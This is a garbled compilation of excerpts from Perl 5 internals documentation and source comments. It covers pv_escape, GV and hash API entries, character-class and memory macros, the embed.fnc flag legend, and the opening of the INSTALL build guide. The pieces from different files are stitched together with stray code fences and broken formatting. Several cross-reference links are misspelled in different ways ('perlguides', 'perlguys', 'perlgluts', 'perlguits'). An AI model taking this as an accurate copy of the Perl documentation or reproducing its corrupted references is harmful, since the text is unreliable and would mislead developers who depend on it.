* the return code of system() into the form that Unixy wait usually
* returns:
*
* - signal number in bits 0-6;
* - core dump flag in bit 7;
* - exit code in bits 8-15.
*
* Bits 0-7 are always zero for DJGPP, because it uses system().

```

```
* See djgpp.c.  
  
*  
  
* POSIX::W* use the W* macros from <sys/wait.h> to decode  
  
* the return code. Unfortunately the W* macros for DJGPP use  
  
* a different format than Unixy wait does. So there's a mismatch  
  
* and, say, WEXITSTATUS($?) will return bogus values.  
  
*  
  
* So here we add hack to redefine the W* macros from DJGPP's <sys/wait.h>  
  
* to work with our return-code conversion.

/*
=for apidoc pv_escape

```

Escapes at most the first "count" chars of pv and puts the results into  
dsv such that the size of the escaped string will not exceed "max" chars  
and will not contain any incomplete escape sequences.

If flags contains PERL\_PV\_ESCAPE\_QUOTE then any double quotes in the string  
will also be escaped.

Normally the SV will be cleared before the escaped string is prepared,  
but when PERL\_PV\_ESCAPE\_NOCLEAR is set this will not occur.

If PERL\_PV\_ESCAPE\_UNI is set then the input string is treated as Unicode,  
if PERL\_PV\_ESCAPE\_UNI\_DETECT is set then the input string is scanned  
using C<is\_utf8\_string()> to determine if it is Unicode.

If PERL\_PV\_ESCAPE\_ALL is set then all input chars will be output  
using C<\x01F1> style escapes, otherwise if PERL\_PV\_ESCAPE\_NONASCII is set, only  
chars above 127 will be escaped using this style; otherwise, only chars above  
255 will be so escaped; other non printable chars will use octal or  
common escaped patterns like C<\n>. Otherwise, if PERL\_PV\_ESCAPE\_NOBACKSLASH  
then all chars below 255 will be treated as printable and  
will be output as literals.

If PERL\_PV\_ESCAPE\_FIRSTCHAR is set then only the first char of the  
string will be escaped, regardless of max. If the output is to be in hex,  
then it will be returned as a plain hex  
sequence. Thus the output will either be a single char,  
an octal escape sequence, a special escape like C<\n> or a hex value.

If PERL\_PV\_ESCAPE\_RE is set then the escape char used will be a '%' and  
not a '\\'. This is because regexes very often contain backslashed  
sequences, whereas '%' is not a particularly common character in patterns.

Returns a pointer to the escaped text as held by dsv.

/*
=for apidoc pv_pretty

```

Converts a string into something presentable, handling escaping via `pv_escape()` and supporting quoting and ellipses.

If the `PERL_PV_PRETTY_QUOTE` flag is set then the result will be double quoted with any double quotes in the string escaped. Otherwise if the `PERL_PV_PRETTY_LTGT` flag is set then the result be wrapped in angle brackets.

If the `PERL_PV_PRETTY_ELLIPSES` flag is set and not all characters in string were output then an ellipsis `C<...>` will be appended to the string. Note that this happens AFTER it has been quoted.

If `start_color` is non-null then it will be inserted after the opening quote (if there is one) but before the escaped text. If `end_color` is non-null then it will be inserted after the escaped text but before any quotes or ellipses.

Returns a pointer to the prettified text as held by dsv.

embed.fnc
```

```
: BEGIN{die "You meant to run regen/embed.pl"} # Stop early if fed to perl.
```

```
:
```

```
: This file is processed by regen/embed.pl and autodoc.pl
```

```
:
```

```
: Lines are of the form:
```

```
: flags|return_type|function_name|arg1|arg2|...|argN
```

```
:
```

```
: A line may be continued on another by ending it with a backslash.
```

```
: Leading and trailing whitespace will be ignored in each component.
```

```
:
```

: flags are single letters with following meanings:

:

: A Member of public API:

:

: add entry to global.sym (unless x or m);

: any doc entry goes in perlapi.pod rather than perlintern.pod

: makes '#define foo Perl\_foo' scope not just for PERL\_CORE/PERL\_EXT

:

: a Allocates memory a la malloc/calloc. Also implies "R":

:

: proto.h: add \_\_attribute\_\_ malloc\_\_

:

: b Binary backward compatibility; function is a macro

: but has also Perl\_ implementation (which is exported):

:

: add entry to global.sym;

: don't define PERL\_ARGS\_ASSERT\_FOO

:

: D Function is deprecated:

:

: proto.h: add \_\_attribute\_\_ deprecated\_\_

:

: d Function has documentation with its source:

:

: enables 'no docs for foo' warning in autodoc.pl

```

:
: E Visible to extensions included in the Perl core:
:
:   in embed.h, change "#ifdef PERL_CORE"
:   into      "#if defined(PERL_CORE) || defined(PERL_EXT)"
:
:   Should always be combined with "X" to be usable from dynamically
:   loaded extensions.
:
: f Function takes printf style format string, varargs:
:
:   proto.h: add __attribute__ format__ (or ...null_ok__)
:
: i Static inline: function in source code has a S_ prefix:
:
:   proto.h: function is declared as S_foo rather than foo,
:   PERL_STATIC_INLINE is added to declaration;
:   embed.h: "#define foo S_foo" entries added
:
: M May change:
:
:   any doc entry is marked that function may change
:
: m Implemented as a macro:
:

```

```

:   suppress proto.h entry
:
:   suppress global.sym entry
:
:   suppress embed.h entry
:
:
: n Has no implicit interpreter/thread context argument:
:
:
:   suppress the pTHX part of "foo(pTHX...)" in proto.h;
:
:   In the PERL_IMPLICIT_SYS branch of embed.h, generates
:
:       "#define foo Perl_foo",   rather than
:
:       "#define foo(a,b,c) Perl_foo(aTHX_ a,b,c)"
:
:
: O Has a perl_ compatibility macro.
:
:
:   The really OLD name for API funcs
:
:
: o Has no Perl_foo compatibility macro:
:
:
:   embed.h: suppress "#define foo Perl_foo"
:
:
: P Pure function: no effects except the return value;
:
:   return value depends only on params and/or globals:
:
:

:
:
: p Function in source code has a Perl_ prefix:

```

```

:
:   proto.h: function is declared as Perl_foo rather than foo
:
:   embed.h: "#define foo Perl_foo" entries added
:
:
: R Return value must not be ignored (also implied by 'a' flag):
:
:   proto.h: add __attribute__((warn_unused_result))
:
:
: r Function never returns:
:
:   proto.h: add __attribute__((noreturn))
:
:
: s Static function: function in source code has a S_ prefix:
:
:   proto.h: function is declared as S_foo rather than foo,
:
:   STATIC is added to declaration;
:
:   embed.h: "#define foo S_foo" entries added
:
:
: U Suppress usage example in autogenerated documentation
:

:
:
: X Explicitly exported:
:
:   add entry to global.sym, unless x or m

```

```

:
: x Not exported
:
:     suppress entry in global.sym
:
: (see also L<perl guts/Internal Functions> for those flags.)
:
: Pointer parameters that must not be passed NULLs should be prefixed with NN.
:
: Pointer parameters that may be NULL should be prefixed with NULLOK. This has
: no effect on output yet. It's a notation for the maintainers to know "I have
: defined whether NULL is OK or not" rather than having neither NULL or NULLOK,
: which is ambiguous.
:
: Individual flags may be separated by whitespace.

```

=head1 GV Functions
```

A GV is a structure which corresponds to to a Perl typeglob, ie \*foo.

It is a structure that holds a pointer to a scalar, an array, a hash etc,  
corresponding to \$foo, @foo, %foo.

GVs are usually found as values in stashes (symbol table hashes) where  
Perl stores its global variables.

/*

=for apidoc gv_fetchmeth

```

Returns the glob with the given C<name> and a defined subroutine or C<NULL>. The glob lives in the given C<stash>, or in the stashes accessible via @ISA and UNIVERSAL::.

The argument C<level> should be either 0 or -1. If C<level==0>, as a side-effect creates a glob with the given C<name> in the given C<stash> which in the case of success contains an alias for the subroutine, and sets up caching info for this glob.

This function grants C<"SUPER"> token as a postfix of the stash name. The GV returned from C<gv\_fetchmeth> may be a method cache entry, which is not visible to Perl code. So when calling C<call\_sv>, you should not use the GV directly; instead, you should use the method's CV, which can be obtained from the GV with the C<GvCV> macro.

/*
=for apidoc gv_fetchmeth_autoload

```

Same as `gv_fetchmeth()`, but looks for autoloaded subroutines too.

Returns a glob for the subroutine.

For an autoloaded subroutine without a GV, will create a GV even if `C<level < 0>`. For an autoloaded subroutine without a stub, `GvCV()` of the result may be zero.

```

}

/*

=for apidoc gv_fetchmethod_autoload

```

Returns the glob which contains the subroutine to call to invoke the method on the C<stash>. In fact in the presence of autoloading this may be the glob for "AUTOLOAD". In this case the corresponding variable \$AUTOLOAD is already setup.

The third parameter of C<gv\_fetchmethod\_autoload> determines whether AUTOLOAD lookup is performed if the given method is not present: non-zero means yes, look for AUTOLOAD; zero means no, don't look for AUTOLOAD. Calling C<gv\_fetchmethod> is equivalent to calling C<gv\_fetchmethod\_autoload> with a non-zero C<autoload> parameter.

These functions grant C<"SUPER"> token as a prefix of the method name. Note that if you want to keep the returned glob for a long time, you need to check for it being "AUTOLOAD", since at the later time the call may load a different subroutine due to \$AUTOLOAD changing its value. Use the glob created via a side effect to do this.

These functions have the same side-effects and as C<gv\_fetchmeth> with C<level==0>. C<name> should be writable if contains C<':'> or C<'>". The warning against passing the GV returned by C<gv\_fetchmeth> to C<call\_sv> apply equally to these functions.

```

```
=for apidoc is_gv_magical_sv
```

Returns C<TRUE> if given the name of a magical GV.

Currently only useful internally when determining if a GV should be created even in rvalue contexts.

C<flags> is not used at present but available for future extension to allow selecting particular classes of magical variable.

Currently assumes that C<name> is NUL terminated (as well as len being valid).

This assumption is met by all callers within the perl core, which all pass pointers returned by SvPV.

=for apidoc gv_try_downgrade

```

If the typeglob C<gv> can be expressed more succinctly, by having something other than a real GV in its place in the stash, replace it with the optimised form. Basic requirements for this are that C<gv> is a real typeglob, is sufficiently ordinary, and is only referenced from its package. This function is meant to be used when a GV has been looked up in part to see what was there, causing upgrading, but based on what was found it turns out that the real GV isn't required after all.

If C<gv> is a completely empty typeglob, it is deleted from the stash.

If C<gv> is a typeglob containing only a sufficiently-ordinary constant sub, the typeglob is replaced with a scalar-reference placeholder that more compactly represents the same thing.

/\* XXX Configure ought to have a test for a boolean type, if I can  
just figure out all the headers such a test needs.

Andy Dougherty      August 1996

\*/

/\* bool is built-in for g++-2.6.3 and later, which might be used  
for extensions. <\_G\_config.h> defines \_G\_HAVE\_BOOL, but we can't  
be sure \_G\_config.h will be included before this file. \_G\_config.h  
also defines \_G\_HAVE\_BOOL for both gcc and g++, but only g++  
actually has bool. Hence, \_G\_HAVE\_BOOL is pretty useless for us.  
g++ can be identified by \_\_GNUC\_\_.

Andy Dougherty      February 2000

```

/\* XXX A note on the perl source internal type system. The original intent was that I32 be *\*exactly\** 32 bits.

Currently, we only guarantee that I32 is *\*at least\** 32 bits. Specifically, if int is 64 bits, then so is I32. (This is the case for the Cray.) This has the advantage of meshing nicely with standard library calls (where we pass an I32 and the library is expecting an int), but the disadvantage that an I32 is not 32 bits.

Andy Dougherty      August 1996

There is no guarantee that there is *\*any\** integral type with exactly 32 bits. It is perfectly legal for a system to have `sizeof(short) == sizeof(int) == sizeof(long) == 8`.

Similarly, there is no guarantee that I16 and U16 have exactly 16 bits.

For dealing with issues that may arise from various 32/64-bit systems, we will ask Configure to check out

`SHORTSIZE == sizeof(short)`

`INTSIZE == sizeof(int)`

`LONGSIZE == sizeof(long)`

`LONGLONGSIZE == sizeof(long long) (if HAS_LONG_LONG)`

```

PTRSIZE == sizeof(void *)

DOUBLESIZE == sizeof(double)

LONG_DOUBLESIZE == sizeof(long double) (if HAS_LONG_DOUBLE).

=head1 Character classes

There are three variants for all the functions in this section. The base ones operate using the character set of the platform Perl is running on. The ones with an C<\_A> suffix operate on the ASCII character set, and the ones with an C<\_L1> suffix operate on the full Latin1 character set. All are unaffected by locale

For ASCII platforms, the base function with no suffix and the one with the C<\_A> suffix are identical. The function with the C<\_L1> suffix imposes the Latin-1 character set onto the platform. That is, the code points that are ASCII are unaffected, since ASCII is a subset of Latin-1. But the non-ASCII code points are treated as if they are Latin-1 characters. For example, C<isSPACE\_L1()> will return true when called with the code point 0xA0, which is the Latin-1 NO-BREAK SPACE.

For EBCDIC platforms, the base function with no suffix and the one with the C<\_L1> suffix should be identical, since, as of this writing, the EBCDIC code pages that Perl knows about all are equivalent to Latin-1. The function that ends in an C<\_A> suffix will not return true unless the specified character also has an ASCII equivalent.

=for apidoc Am|bool|isALPHA|char ch

Returns a boolean indicating whether the specified character is an alphabetic character in the platform's native character set.

See the [L<top of this section|/Character classes>](#) for an explanation of variants C<isALPHA\_A> and C<isALPHA\_L1>.

=for apidoc Am|bool|isASCII|char ch

Returns a boolean indicating whether the specified character is one of the 128 characters in the ASCII character set. On non-ASCII platforms, it is if this character corresponds to an ASCII character. Variants C<isASCII\_A()> and C<isASCII\_L1()> are identical to C<isASCII()>.

=for apidoc Am|bool|isDIGIT|char ch

Returns a boolean indicating whether the specified character is a digit in the platform's native character set.

Variants C<isDIGIT\_A> and C<isDIGIT\_L1> are identical to C<isDIGIT>.

=for apidoc Am|bool|isLOWER|char ch

Returns a boolean indicating whether the specified character is a

lowercase character in the platform's native character set.

See the [L<top of this section | /Character classes>](#) for an explanation of variants

C<isLOWER\_A> and C<isLOWER\_L1>.

=for apidoc Am|bool|isOCTAL|char ch

Returns a boolean indicating whether the specified character is an

octal digit, [0-7] in the platform's native character set.

Variants C<isOCTAL\_A> and C<isOCTAL\_L1> are identical to C<isOCTAL>.

=for apidoc Am|bool|isSPACE|char ch

Returns a boolean indicating whether the specified character is a

whitespace character in the platform's native character set. This is the same

as what C<\s> matches in a regular expression.

See the [L<top of this section | /Character classes>](#) for an explanation of variants

C<isSPACE\_A> and C<isSPACE\_L1>.

=for apidoc Am|bool|isUPPER|char ch

Returns a boolean indicating whether the specified character is an

uppercase character in the platform's native character set.

See the [L<top of this section | /Character classes>](#) for an explanation of variants

C<isUPPER\_A> and C<isUPPER\_L1>.

=for apidoc Am|bool|isWORDCHAR|char ch

Returns a boolean indicating whether the specified character is a

character that is any of: alphabetic, numeric, or an underscore. This is the

same as what `C<\w>` matches in a regular expression.

`C<isALNUM()>` is a synonym provided for backward compatibility. Note that it does not have the standard C language meaning of alphanumeric, since it matches an underscore and the standard meaning does not.

See the [L<top of this section | /Character classes>](#) for an explanation of variants `C<isWORDCHAR_A>` and `C<isWORDCHAR_L1>`.

=for apidoc Am|bool|isXDIGIT|char ch

Returns a boolean indicating whether the specified character is a hexadecimal digit, `[0-9A-Fa-f]`. Variants `C<isXDIGIT_A()>` and `C<isXDIGIT_L1()>` are identical to `C<isXDIGIT()>`.

=head1 Character case changing

=for apidoc Am|char|toUPPER|char ch

Converts the specified character to uppercase in the platform's native character set, if possible; otherwise returns the input character itself.

=for apidoc Am|char|toLOWER|char ch

Converts the specified character to lowercase in the platform's native character set, if possible; otherwise returns the input character itself.

=cut

Note that these macros are repeated in `Devel::PPPort`, so should also be

patched there. The file as of this writing is cpan/Devel-PPPort/parts/inc/misc

```
*/
```

```
/* FITS_IN_8_BITS(c) returns true if c occupies no more than 8 bits. It is
```

```
* designed to be hopefully bomb-proof, making sure that no bits of
```

```
* information are lost even on a 64-bit machine, but to get the compiler to
```

```
* optimize it out if possible. This is because Configure makes sure that the
```

```
* machine has an 8-bit byte, so if c is stored in a byte, the sizeof()
```

```
* guarantees that this evaluates to a constant true at compile time. The use
```

```
* of the mask instead of '< 256' keeps gcc from complaining that it is alway
```

```
* true, when c's storage class is a byte. Use U64TYPE because U64 is known

=head1 Memory Management
```

```
=for apidoc Am|void|Newx|void* ptr|int nitems|type
```

The XSUB-writer's interface to the C C<malloc> function.

In 5.9.3, Newx() and friends replace the older New() API, and drops the first parameter, I<x>, a debug aid which allowed callers to identify themselves. This aid has been superseded by a new build option, PERL\_MEM\_LOG (see L<perlhack/PERL\_MEM\_LOG>). The older API is still there for use in XS modules supporting older perls.

```
=for apidoc Am|void|Newxc|void* ptr|int nitems|type|cast
```

The XSUB-writer's interface to the C C<malloc> function, with cast. See also C<Newx>.

=for apidoc Am|void|Newxz|void\* ptr|int nitems|type

The XSUB-writer's interface to the C C<malloc> function. The allocated memory is zeroed with C<memzero>. See also C<Newx>.

=for apidoc Am|void|Renew|void\* ptr|int nitems|type

The XSUB-writer's interface to the C C<realloc> function.

=for apidoc Am|void|Renewc|void\* ptr|int nitems|type|cast

The XSUB-writer's interface to the C C<realloc> function, with cast.

=for apidoc Am|void|SafeFree|void\* ptr

The XSUB-writer's interface to the C C<free> function.

=for apidoc Am|void|Move|void\* src|void\* dest|int nitems|type

The XSUB-writer's interface to the C C<memmove> function. The C<src> is the source, C<dest> is the destination, C<nitems> is the number of items, and C<type> is the type. Can do overlapping moves. See also C<Copy>.

=for apidoc Am|void\*|MoveD|void\* src|void\* dest|int nitems|type

Like C<Move> but returns dest. Useful for encouraging compilers to tail-call optimise.

=for apidoc Am|void|Copy|void\* src|void\* dest|int nitems|type

The XSUB-writer's interface to the C C<memcpy> function. The C<src> is the

source, C<dest> is the destination, C<nitems> is the number of items, and C<type> is the type. May fail on overlapping copies. See also C<Move>.

=for apidoc Am|void\*|CopyD|void\* src|void\* dest|int nitems|type

Like C<Copy> but returns dest. Useful for encouraging compilers to tail-call optimise.

=for apidoc Am|void|Zero|void\* dest|int nitems|type

The XSUB-writer's interface to the C C<memzero> function. The C<dest> is the destination, C<nitems> is the number of items, and C<type> is the type.

=for apidoc Am|void\*|ZeroD|void\* dest|int nitems|type

Like C<Zero> but returns dest. Useful for encouraging compilers to tail-call optimise.

=for apidoc Am|void|StructCopy|type src|type dest|type

This is an architecture-independent macro to copy one structure to another.

=for apidoc Am|void|PoisonWith|void\* dest|int nitems|type|U8 byte

Fill up memory with a byte pattern (a byte repeated over and over again) that hopefully catches attempts to access uninitialized memory.

```
=for apidoc Am|void|PoisonNew|void* dest|int nitems|type
```

PoisonWith(0xAB) for catching access to allocated but uninitialized memory.

```
=for apidoc Am|void|PoisonFree|void* dest|int nitems|type
```

PoisonWith(0xEF) for catching access to freed memory.

```
=for apidoc Am|void|Poison|void* dest|int nitems|type
```

PoisonWith(0xEF) for catching access to freed memory.

#ifdef PERL_MEM_LOG

/*

* If PERL_MEM_LOG is defined, all Newx()s, Renew()s, and Safefree()s

* go through functions, which are handy for debugging breakpoints, but

```

- \* which more importantly get the immediate calling environment (file and
- \* line number, and C function name if available) passed in. This info can
- \* then be used for logging the calls, for which one gets a sample
- \* implementation unless -DPERL\_MEM\_LOG\_NOIMPL is also defined.

\*

\* Known problems:

- \* - not all memory allocs get logged, only those
- \* that go through Newx() and derivatives (while all
- \* Safefrees do get logged)
- \* - \_\_FILE\_\_ and \_\_LINE\_\_ do not work everywhere
- \* - \_\_func\_\_ or \_\_FUNCTION\_\_ even less so
- \* - I think more goes on after the perlio frees but
- \* the thing is that STDERR gets closed (as do all
- \* the file descriptors)
- \* - no deeper calling stack than the caller of the Newx()
- \* or the kind, but do I look like a C reflection/introspection
- \* utility to you?
- \* - the function prototypes for the logging functions
- \* probably should maybe be somewhere else than handy.h
- \* - one could consider inlining (macrofying) the logging
- \* for speed, but I am too lazy
- \* - one could imagine recording the allocations in a hash,
- \* (keyed by the allocation address?), and maintain that
- \* through reallocs and frees, but how to do that without
- \* any Newx() happening...?

\* - lots of -Ddefines to get useful/controllable output

\* - lots of ENV reads

=head1 Hash Manipulation Functions

```

A HV structure represents a Perl hash. It consists mainly of an array of pointers, each of which points to a linked list of HE structures. The array is indexed by the hash function of the key, so each linked list represents all the hash entries with the same hash value. Each HE contains

a pointer to the actual value, plus a pointer to a HEK structure which holds the key and hash value.

/* (klen == HEf_SVKEY) is special for MAGICAL hv entries, meaning key slot
 * contains an SV* */

/*
=for apidoc hv_store

```

Stores an SV in a hash. The hash key is specified as C<key> and C<klen> is the length of the key. The C<hash> parameter is the precomputed hash value; if it is zero then Perl will compute it. The return value will be NULL if the operation failed or if the value did not need to be actually stored within the hash (as in the case of tied hashes). Otherwise it can be dereferenced to get the original C<SV\*>. Note that the caller is

responsible for suitably incrementing the reference count of C<val> before the call, and decrementing it if the function returned NULL. Effectively a successful hv\_store takes ownership of one reference to C<val>. This is usually what you want; a newly created SV has a reference count of one, so if all your code does is create SVs then store them in a hash, hv\_store will own the only reference to the new SV, and your code doesn't need to do anything further to tidy up. hv\_store is not implemented as a call to hv\_store\_ent, and does not create a temporary SV for the key, so if your key data is not already in SV form then use hv\_store in preference to hv\_store\_ent.

See [L<perlguides/Understanding the Magic of Tied Hashes and Arrays>](#) for more information on how to use this function on tied hashes.

=for apidoc hv\_store\_ent

Stores C<val> in a hash. The hash key is specified as C<key>. The C<hash> parameter is the precomputed hash value; if it is zero then Perl will compute it. The return value is the new hash entry so created. It will be NULL if the operation failed or if the value did not need to be actually stored within the hash (as in the case of tied hashes). Otherwise the contents of the return value can be accessed using the C<He?> macros described here. Note that the caller is responsible for suitably incrementing the reference count of C<val> before the call, and decrementing it if the function returned NULL. Effectively a successful

`hv_store_ent` takes ownership of one reference to `C<val>`. This is usually what you want; a newly created SV has a reference count of one, so if all your code does is create SVs then store them in a hash, `hv_store` will own the only reference to the new SV, and your code doesn't need to do anything further to tidy up. Note that `hv_store_ent` only reads the `C<key>`; unlike `C<val>` it does not take ownership of it, so maintaining the correct reference count on `C<key>` is entirely the caller's responsibility. `hv_store` is not implemented as a call to `hv_store_ent`, and does not create a temporary SV for the key, so if your key data is not already in SV form then use `hv_store` in preference to `hv_store_ent`.

See [L<perlguys/"Understanding the Magic of Tied Hashes and Arrays">](#) for more information on how to use this function on tied hashes.

=for apidoc `hv_exists`

Returns a boolean indicating whether the specified hash key exists. The `C<klen>` is the length of the key.

=for apidoc `hv_fetch`

Returns the SV which corresponds to the specified key in the hash. The `C<klen>` is the length of the key. If `C<lval>` is set then the fetch will be part of a store. Check that the return value is non-null before dereferencing it to an `C<SV*>`.

See [L<perlgluts/"Understanding the Magic of Tied Hashes and Arrays">](#) for more information on how to use this function on tied hashes.

```
=for apidoc hv_exists_ent
```

Returns a boolean indicating whether the specified hash key exists. C<hash> can be a valid precomputed hash value, or 0 to ask for it to be computed.

```
=cut
```

```
*/
```

```
/* returns an HE * structure with the all fields set */
```

```
/* note that hent_val will be a mortal sv for MAGICAL hashes */
```

```
/*
```

```
=for apidoc hv_fetch_ent
```

Returns the hash entry which corresponds to the specified key in the hash.

C<hash> must be a valid precomputed hash number for the given C<key>, or 0

if you want the function to compute it. IF C<lval> is set then the fetch

will be part of a store. Make sure the return value is non-null before

accessing it. The return value when C<hv> is a tied hash is a pointer to a

static location, so be sure to make a copy of the structure if you need to

store it somewhere.

See [L<perlguits/"Understanding the Magic of Tied Hashes and Arrays">](#) for more information on how to use this function on tied hashes.

/*
=for apidoc hv_clear_placeholders

```

Clears any placeholders from a hash. If a restricted hash has any of its keys marked as readonly and the key is subsequently deleted, the key is not actually deleted but is marked by assigning it a value of `&PL_sv_placeholder`. This tags it so it will be ignored by future operations such as iterating over the hash, but will still allow the hash to have a value reassigned to the key at some future point. This function clears any such placeholder keys from the hash. See `Hash::Util::lock_keys()` for an example of its use.

/*

=for apidoc hv_iterinit

```

Prepares a starting point to traverse a hash table. Returns the number of keys in the hash (i.e. the same as C<HvKEYS(hv)>). The return value is currently only meaningful for hashes without tie magic.

NOTE: Before version 5.004\_65, C<hv\_iterinit> used to return the number of hash buckets that happen to be in use. If you still need that esoteric value, you can get it through the macro C<HvFILL(hv)>.

/\*

hv\_iternext is implemented as a macro in hv.h

=for apidoc hv\_iternext

Returns entries from a hash iterator. See C<hv\_iterinit>.

You may call C<hv\_delete> or C<hv\_delete\_ent> on the hash entry that the iterator currently points to, without losing your place or invalidating your iterator. Note that in this case the current entry is deleted from the hash with your iterator holding the last reference to it. Your iterator is flagged to free the entry on the next call to C<hv\_iternext>, so you must not discard your iterator immediately else the entry will leak - call C<hv\_iternext> to trigger the resource deallocation.

=for apidoc hv\_iternext\_flags

Returns entries from a hash iterator. See C<hv\_iterinit> and C<hv\_iternext>.

The C<flags> value will normally be zero; if HV\_ITERNEXT\_WANTPLACEHOLDERS is set the placeholders keys (for restricted hashes) will be returned in addition to normal keys. By default placeholders are automatically skipped over. Currently a placeholder is implemented with a value that is C<&Perl\_sv\_placeholder>. Note that the implementation of placeholders and restricted hashes may change, and the implementation currently is insufficiently abstracted for any change to be tidy.

=for apidoc m|struct refcounted_he *|refcounted_he_new_pvn|struct refcounted_he *parent|const
char *keypv|STRLEN keylen|U32 hash|SV *value|U32 flags

```

Creates a new C<refcounted\_he>. This consists of a single key/value pair and a reference to an existing C<refcounted\_he> chain (which may be empty), and thus forms a longer chain. When using the longer chain, the new key/value pair takes precedence over any entry for the same key further along the chain.

The new key is specified by `I<keypv>` and `I<keylen>`. If `I<flags>` has the `C<REFCOUNTED_HE_KEY_UTF8>` bit set, the key octets are interpreted as UTF-8, otherwise they are interpreted as Latin-1. `I<hash>` is a precomputed hash of the key string, or zero if it has not been precomputed.

`I<value>` is the scalar value to store for this key. `I<value>` is copied by this function, which thus does not take ownership of any reference to it, and later changes to the scalar will not be reflected in the value visible in the `C<refcounted_he>`. Complex types of scalar will not be stored with referential integrity, but will be coerced to strings. `I<value>` may be either null or `C<&PL_sv_placeholder>` to indicate that no value is to be associated with the key; this, as with any non-null value, takes precedence over the existence of a value for the key further along the chain.

`I<parent>` points to the rest of the `C<refcounted_he>` chain to be attached to the new `C<refcounted_he>`. This function takes ownership of one reference to `I<parent>`, and returns one reference to the new `C<refcounted_he>`.

/*

=head1 Hash Manipulation Functions

=for apidoc AmU | HEf_SVKEY

This flag, used in the length slot of hash entries and magic structures,
specifies the structure contains an C<SV*> pointer where a C<char*> pointer
is to be expected. (For information only--not to be used).

=head1 Handy Values

=for apidoc AmU | Nullhv

Null HV pointer.

(deprecated - use C<(HV *)NULL> instead)

```

## =head1 Hash Manipulation Functions

=for apidoc Am|char\*|HvNAME|HV\* stash

Returns the package name of a stash, or NULL if C<stash> isn't a stash.

See C<SvSTASH>, C<CvSTASH>.

=for apidoc Am|char\*|HvENAME|HV\* stash

Returns the effective name of a stash, or NULL if there is none. The effective name represents a location in the symbol table where this stash resides. It is updated automatically when packages are aliased or deleted. A stash that is no longer in the symbol table has no effective name. This name is preferable to C<HvNAME> for use in MRO linearisations and isa caches.

=for apidoc Am|void\*|HeKEY|HE\* he

Returns the actual pointer stored in the key slot of the hash entry. The pointer may be either C<char\*> or C<SV\*>, depending on the value of C<HeKLEN()>. Can be assigned to. The C<HePV()> or C<HeSVKEY()> macros are usually preferable for finding the value of a key.

=for apidoc Am|STRLEN|HeKLEN|HE\* he

If this is negative, and amounts to C<HEf\_SVKEY>, it indicates the entry holds an C<SV\*> key. Otherwise, holds the actual length of the key. Can be assigned to. The C<HePV()> macro is usually preferable for finding key

lengths.

=for apidoc Am|SV\*|HeVAL|HE\* he

Returns the value slot (type C<SV\*>) stored in the hash entry.

=for apidoc Am|U32|HeHASH|HE\* he

Returns the computed hash stored in the hash entry.

=for apidoc Am|char\*|HePV|HE\* he|STRLEN len

Returns the key slot of the hash entry as a C<char\*> value, doing any necessary dereferencing of possibly C<SV\*> keys. The length of the string is placed in C<len> (this is a macro, so do *not* use C<&len>). If you do not care about what the length of the key is, you may use the global variable C<PL\_na>, though this is rather less efficient than using a local variable. Remember though, that hash keys in perl are free to contain embedded nulls, so using C<strlen()> or similar is not a good way to find the length of hash keys. This is very similar to the C<SvPV()> macro described elsewhere in this document. See also C<HeUTF8>.

If you are using C<HePV> to get values to pass to C<newSVpvn()> to create a new SV, you should consider using C<newSVhek(HeKEY\_hek(he))> as it is more efficient.

=for apidoc Am|char\*|HeUTF8|HE\* he

Returns whether the C<char \*> value returned by C<HePV> is encoded in UTF-8,

doing any necessary dereferencing of possibly C<SV\*> keys. The value returned will be 0 or non-0, not necessarily 1 (or even a value with any low bits set), so B<do not> blindly assign this to a C<bool> variable, as C<bool> may be a typedef for C<char>.

```
=for apidoc Am|SV*|HeSVKEY|HE* he
```

Returns the key as an C<SV\*>, or C<NULL> if the hash entry does not contain an C<SV\*> key.

```
=for apidoc Am|SV*|HeSVKEY_force|HE* he
```

Returns the key as an C<SV\*>. Will create and return a temporary mortal C<SV\*> if the hash entry contains only a C<char\*> key.

```
=for apidoc Am|SV*|HeSVKEY_set|HE* he|SV* sv
```

Sets the key to a given C<SV\*>, taking care to set the appropriate flags to indicate the presence of an C<SV\*> key, and returns the same C<SV\*>.

```

INSTALL

If you read this file `_as_is_`, just ignore the funny characters you see.

It is written in the POD format (see `pod/perlpod.pod`) which is specially designed to be readable as is.

=head1 NAME

Install - Build and Installation guide for perl 5.

=head1 SYNOPSIS

First, make sure you have an up-to-date version of Perl. If you didn't get your Perl source from CPAN, check the latest version at <http://www.cpan.org/src/>. Perl uses a version scheme where even-numbered subreleases (like 5.8.x and 5.10.x) are stable maintenance releases and odd-numbered subreleases (like 5.7.x and 5.9.x) are unstable development releases. Development releases should not be used in production environments. Fixes and new features are first carefully tested in development releases and only if they prove themselves to be worthy will they be migrated to the maintenance releases.

The basic steps to build and install perl 5 on a Unix system with all the defaults are to run, from a freshly unpacked source tree:

```
sh Configure -de
```

```
make
```

```
make test
```

```
make install
```

Each of these is explained in further detail below.

The above commands will install Perl to /usr/local (or some other

platform-specific directory -- see the appropriate file in hints/.)

If that's not okay with you, you can run Configure interactively, by just typing "sh Configure" (without the -de args). You can also specify any prefix location by adding "-Dprefix='/some/dir'" to Configure's args.

To explicitly name the perl binary, use the command

"make install PERLNAME=myperl".

Building perl from source requires an ANSI compliant C-Compiler.

A minimum of C89 is required. Some features available in C99 will be probed for and used when found. The perl build process does not rely on anything more than C89.

These options, and many more, are explained in further detail below.

If you have problems, corrections, or questions, please see

[L<"Reporting Problems"> below.](#)

For information on what's new in this release, see the pod/perldelta.pod file. For more information about how to find more specific detail about changes, see the Changes file.

## =head1 DESCRIPTION

This document is written in pod format as an easy way to indicate its structure. The pod format is described in pod/perlpod.pod, but you can

read it as is with any pager or editor. Headings and items are marked by lines beginning with '='. The other mark-up used is

B<text>    embolden text, used for switches, programs or commands

C<code>     literal code

L<name>    A link (cross reference) to name

F<file>    A filename

Although most of the defaults are probably fine for most users, you should probably at least skim through this document before proceeding.

In addition to this file, check if there is a README file specific to your operating system, since it may provide additional or different instructions for building Perl. If there is a hint file for your system (in the hints/ directory) you might also want to read it for even more information.

For additional information about porting Perl, see the section on L<"Porting information"> below, and look at the files in the Porting/ directory.

=head1 PRELIMINARIES

=head2 Changes and Incompatibilities

Please see `pod/perldelta.pod` for a description of the changes and potential incompatibilities introduced with this release. A few of the most important issues are listed below, but you should refer to `pod/perldelta.pod` for more detailed information.

**B<WARNING:>** This version is not binary compatible with prior releases of Perl. If you have built extensions (i.e. modules that include C code) using an earlier version of Perl, you will need to rebuild and reinstall those extensions.

Pure perl modules without XS or C code should continue to work fine without reinstallation. See the discussion below on **L<"Coexistence with earlier versions of perl 5">** for more details.

The standard extensions supplied with Perl will be handled automatically.

